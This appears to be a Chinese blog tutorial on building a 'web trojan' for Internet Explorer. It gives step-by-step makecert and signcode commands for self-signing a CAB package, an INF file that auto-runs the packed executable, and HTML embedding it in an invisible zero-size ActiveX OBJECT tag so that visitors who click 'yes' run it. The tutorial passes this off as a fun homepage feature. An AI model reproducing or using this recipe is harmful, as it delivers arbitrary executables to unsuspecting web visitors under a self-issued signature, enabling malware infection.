数字签证控件网马生成器制作工具

一、“数字证书”制作软件MakeCert
  makecert.exe是一个微软出品的用来制作“数字签名”的软件,是命令行界面,利用它可以轻松地做出属于自己的个人“数字签名”,当然自己做出来的这个数字签名是不属于受信任的证书的,但这并不太影响使用^*^

二、CAB压缩软件包制作工具IEXPRESS
  是MAKECAB.EXE的GUI界面程序,用来把程序所需文件压缩打包为CAB格式,便于传输,当然如果你的程序是一个独立的EXE文件时,可以不需要用这个工具打包,但考虑现在多数免费空间不支持EXE格式的文件上传,建议打包!类似的工具还有命令行界面的Cabarc.exe;

三、数字签名软件 Signcode
  我们可以使用signcode.exe和自己的“数字证书”签署自己的软件,给软件加上数字签名,使其可以在网页中运行。

  大伙准备好了吗?下面就和我一起来属于自己的数字签名控件吧,Lets go……

第一步:制作“数字证书”
本次使用makecert的命令如下:
makecert -sv lovexy.pvk -n “CN=恋上星谕” -ss My -r -b 01/08/2003 -e 01/08/2093
其中
-sv lovexy.pvk   意思是生成一个私匙文件 lovexy.pvk
-n “CN=恋上星谕” 其中的“冰狐浪子”就是签名中显示的证书所有人的名字,记住要改为你自己的或你想要的名字呀!
-ss My      指定生成后的证书保存在个人证书中
-r        意思是说证书是自己颁发给自己的,呵呵
-b 01/08/2003   指定证书的有效期起始日期,格式为 月/日/年,最低为1900年
-e 01/08/2093   指定证书的有效期终止日期,格式同上,我想2093年我们应该是活不到的^)^
至于其他命令暂时用不到,我也不多做介绍啦。
在控制台命令提示状态输入上面命令(当然用批处理也可以):

不需要填私匙密码吧?直接点“无”按钮就可以拉,如果你喜欢麻烦就输入密码,并记住它。好啦!已经在目录下生成了你的私匙文件lovexy.pvk,但证书在哪里?别急,打开IE 的“Internet选项”,切换到“内容”标签,看到“证书”按钮没?点它!

看见没?图中上面那个截止日期为9999-1-1的“恋上星谕”就是刚才自己生成的证书,把它“导出”为lovexy.cer,好啦,最重要的第一步已经完成!
第二步:把要用到的程序文件打包为CAB格式格式
首先建立runexe.inf文件,内容如下:
[Version]
Signature=$CHICAGO$

[icyfox]
run=%EXTRACT_DIR%\lovexy.exe

[Setup Hooks]
lovexy=lovexy

记得要把上面的“lovexy.exe”改为你的程序名!
然后,运行IEXPRESS.EXE,选中“创建新的自解压缩指令文件”,进入下一步,选中“只创建压缩文件ActiveX安装)”,进入下一步把用到的程序包括程序调用的DLL(如果有的话)添加进列表中,千万不要忘记把“runexe.inf”也添加进来呀!点下一步:

按照图配置选项后,就连续点“下一步”,即可生成lovexy.CAB。
[注:如果你的程序是单独的一个EXE文件,也可以省去本步骤!]

第三步:为lovexy.CAB签署数字签名
运行signcode.exe,选择lovexy.CAB,“签名选项”中的“签名类型”选定“自定义C)”,下一步 “从文件中选择”上面第一步导出的证书文件lovexy.cer,再下一步的私匙选定第一步生成的lovexy.pvk文件,然后进入描述

注意,图中“描述可选)”:下的输入框中输入的文字在把程序嵌入网页中是会出现,请你根据“个人爱好”写上相应的描述语句,剩下的就点下一步了事!这样一个使用自己的“数字证书” 签署的具有“数字签名”可以在网页中运行的程序就做好啦!
第四步:当然就是把做好的程序嵌入到网页中,然后上传啦!
加入到网页中的代码如下NETZS.HTM):
<HTML><head>
<title>”数字签证”控件木马的全程制作</title></head>
<BODY>
<OBJECT width=0 height=0 style=”display:none;” TYPE=”application/x-oleobject” CODEBASE=”lovexy.CAB”></OBJECT>
</BODY>
</HTML>

当访问者点击“是”按钮后,程序就会运行,呵呵,这样的界面你还满意吗?这样的在线工具是不是即可方便网友,又显示出自己的个性呀!更重要的可以给自己的主页增加人气噢!你还等啥?快去做吧!

Published by

风君子

独自遨游何稽首 揭天掀地慰生平

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注